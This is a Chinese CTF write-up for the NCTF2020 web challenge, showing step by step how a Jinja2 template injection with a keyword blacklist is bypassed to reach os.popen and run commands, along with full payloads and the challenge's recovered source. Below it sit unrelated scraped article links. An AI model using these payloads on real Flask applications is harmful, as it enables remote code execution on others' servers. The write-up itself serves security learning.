周末水了一题 之前ssti的题都是直接用网上payload改的,这题由于环境差异 自己过了一遍流程 白嫖惯了还挺不习惯的 哈哈

页面内容随name参数值而改变,根据容器名称猜测为flask/jinjia2框架模板注入,验证确认为模板注入

用burp fuzz 下过滤了什么特殊符号class base mro config args init global等常用关键字也被过滤

Bypass就行 ’ 单引号用 " 双引号代替,_ 下划线用16进制的 \x5f 代替 . 点符号以及关键字被过滤用拼接绕过如[“cla”+“ss”]

?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()}}

找他的基类(object)的子类,这里没有file无法读取文件(python3中并没有file类),选择通过warnings.catch_warnings类执行命令
__subclasses__().index(warnings.catch_warnings)本可以通过index直接获取这个类的位置但这过滤太多,大致估一下位置搜索对照一下,得到位置为167
获取位置后在用__global__看看该模块有哪些global函数

?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["keys"]()}}

python中可以直接运行一些函数,例如int(),list()等等。这些函数可以在__builtins__得到
为了执行命令需要调用os模块

?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["\x5F\x5fbuil"+"tins\x5f\x5f"]["\x5F\x5fim"+"port\x5f\x5f"]("os")}}

Python3.6的版本 用system函数执行命令

?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["\x5F\x5fbuil"+"tins\x5f\x5f"]["\x5F\x5fim"+"port\x5f\x5f"]("os")["sys"+"tem"]("whoami")}}

成功执行但是system函数没回显 本来是想弹个shell或者curl发送数据到vps上的,测试vps能收到 能通外网,但过滤太多了都用不了参数

还好用popen("dir").read()有回显
最终payload:

?name={{()["\x5F\x5fcla"+"ss\x5f\x5f"]["\x5f\x5fba"+"ses\x5f\x5f"][0]["\x5f\x5fsubc"+"lasses\x5f\x5f"]()[166]["\x5F\x5fini"+"t\x5f\x5f"]["\x5F\x5fglo"+"bals\x5f\x5f"]["\x5F\x5fbuil"+"tins\x5f\x5f"]["\x5F\x5fim"+"port\x5f\x5f"]("os")["popen"]("cat wo*")["read"]()}}

去掉bypas的部分其实就是下面这个:

[].__class__.__base__.__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']("os").popen("dir").read()

顺便扒了源码

from jinja2 import Templateapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name', 'guest')blacklist = ['%','-',':','+','class','base','mro','_','config','args','init','global','.','\'','req','|','attr','get']for i in blacklist:if i in name:return Template('你真是个小可爱').render()t = Template("早安,打工人<br/>你就是我的" + name + "吗?<br/><!--   ?name=master  -->")return t.render()if __name__ == "__main__":
app.run()

NCTF2020 web 你就是我的master吗相关推荐

  1. php libtool,web/libtool.zh.php at master · fink/web · GitHub

    $title = "移植 - libtool"; $cvs_author = 'Author: gecko2'; $cvs_date = 'Date: 2012/11/11 15: ...

  2. Web.config配置文件详解(新手必看)

    Web.config配置文件详解(新手必看) 花了点时间整理了一下ASP.NET Web.config配置文件的基本使用方法.很适合新手参看,由于Web.config在使用很灵活,可以自定义一些节点. ...

  3. k8s多节点仪表盘(web界面)部署与谷歌浏览器访问k8s仪表盘问题解决!

    文章目录 k8s的WEB界面部署 两个master节点检查pod资源是否正常 master节点上创建dashboard工作目录,并拷贝部署web界面所需的文件到指定目录 创建资源(顺序不可以乱) 谷歌 ...

  4. .NET编程-----------------------Web.config配置文件详解

    <?xml version="1.0"?> <!--注意: 除了手动编辑此文件以外,您还可以使用 Web 管理工具来配置应用程序的设置.可以使用 Visual S ...

  5. [网络收集]Web.config配置文件详解

    摘录自:http://hi.baidu.com/fanfanwuji/blog/item/a7fd8928d49a7ef098250a06.html 花了点时间整理了一下ASP.NET Web.con ...

  6. Asp.net中web.config配置文件详解

    转载地址:http://blog.csdn.net/hbqhdlc/article/details/8164521 web.config是一个XML文件,用来储存Asp.NET Web应用程序的配置信 ...

  7. Spark源码分析之Master启动和通信机制

    Master主要就是用于管理集群,负责资源的调度什么的.它继承了ThreadSafeRpcEndpoint和LeaderElectable,由于继承ThreadSafeRpcEndpoint,所以Ma ...

  8. 使用Fluent NHibernate和AngularJS的Master Chef(第1部分)ASP.NET Core MVC

    目录 介绍 Master Chef Recipe数据模型UML 在Visual Studio 2015更新3中创建MasterChef应用程序 添加Fluent NHibernate数据模型 1)安装 ...

  9. java 庖丁解牛api_重磅|庖丁解牛之——Flutter for Web

    原标题:重磅|庖丁解牛之--Flutter for Web 概述 在2018年冬的Flutter 1.0伦敦发布会上,Flutter的产品经理Tim Sneath通过一个滑动拼图的例子介绍了如何让Fl ...

最新文章

  1. 这个新方法,竟然能检测 Python 代码的好坏!
  2. 圆环,扇形控件基本算法一种实现 - 代码库 - CocoaChina_让移动开发更简单
  3. mysql 上级组织参数值_MySQL参数group_replication_consistency说明
  4. 三星电子推出X-net架构用于语音通话
  5. freemarker常见语法大全
  6. 简单链接Simplelink 传感器标签SensorTag
  7. 连接mysql数据库2013_使用VS2013 + EF6 + .NET4.5 连接Mysql数据库
  8. 【渝粤题库】广东开放大学 电子商务安全与支付 形成性考核
  9. CCF推荐各种国际学术会议和期刊目录
  10. ubuntu安装Redis+安装mysql(配置远程登录)+安装jdk+安转nginx+安转teamviewer+安装terminator+安装sublime
  11. 2020年A股IPO市场全景回顾与2021年前景展望报告
  12. Eclipse — 如何恢复Eclipse中被误删除的文件
  13. 迅通雾霾处理技术为清晰都市保驾护航
  14. 安装 Tableau Desktop 时出现“0x80070109”错误以及Tableau Desktop破解
  15. 暴雪游戏登录html代码,官方平台账号绑定暴雪游戏通行证!
  16. 记一次联想Y7000P安装黑apple系统地经历
  17. [系统安全] 逆向工程进阶篇之对抗逆向分析
  18. html音乐播放心得体会,听音乐讲座心得体会范文3篇
  19. 自动驾驶什么时候才会凉凉,估计还要多久?
  20. lambda演算感想之规则

热门文章

  1. java五星好评_亲,麻烦给个五星好评!—RatingBar
  2. 【黑马程序员西安中心】 css布局
  3. 用js函数判断一个数是否为素数
  4. VirtualBox安装虚拟机并为其装系统
  5. 巨富笔记:上者劳人,中者劳智,下者劳力
  6. 【密码学基础】03 传统加密技术
  7. springboot动态添加log4j2的Appender
  8. 有没有什么好的可以做读书笔记的APP推荐?
  9. 微信小程序实现手机号隐藏,用****代替
  10. python查文献_自从用了Python,轻松查文献,释放80%的重复劳动时间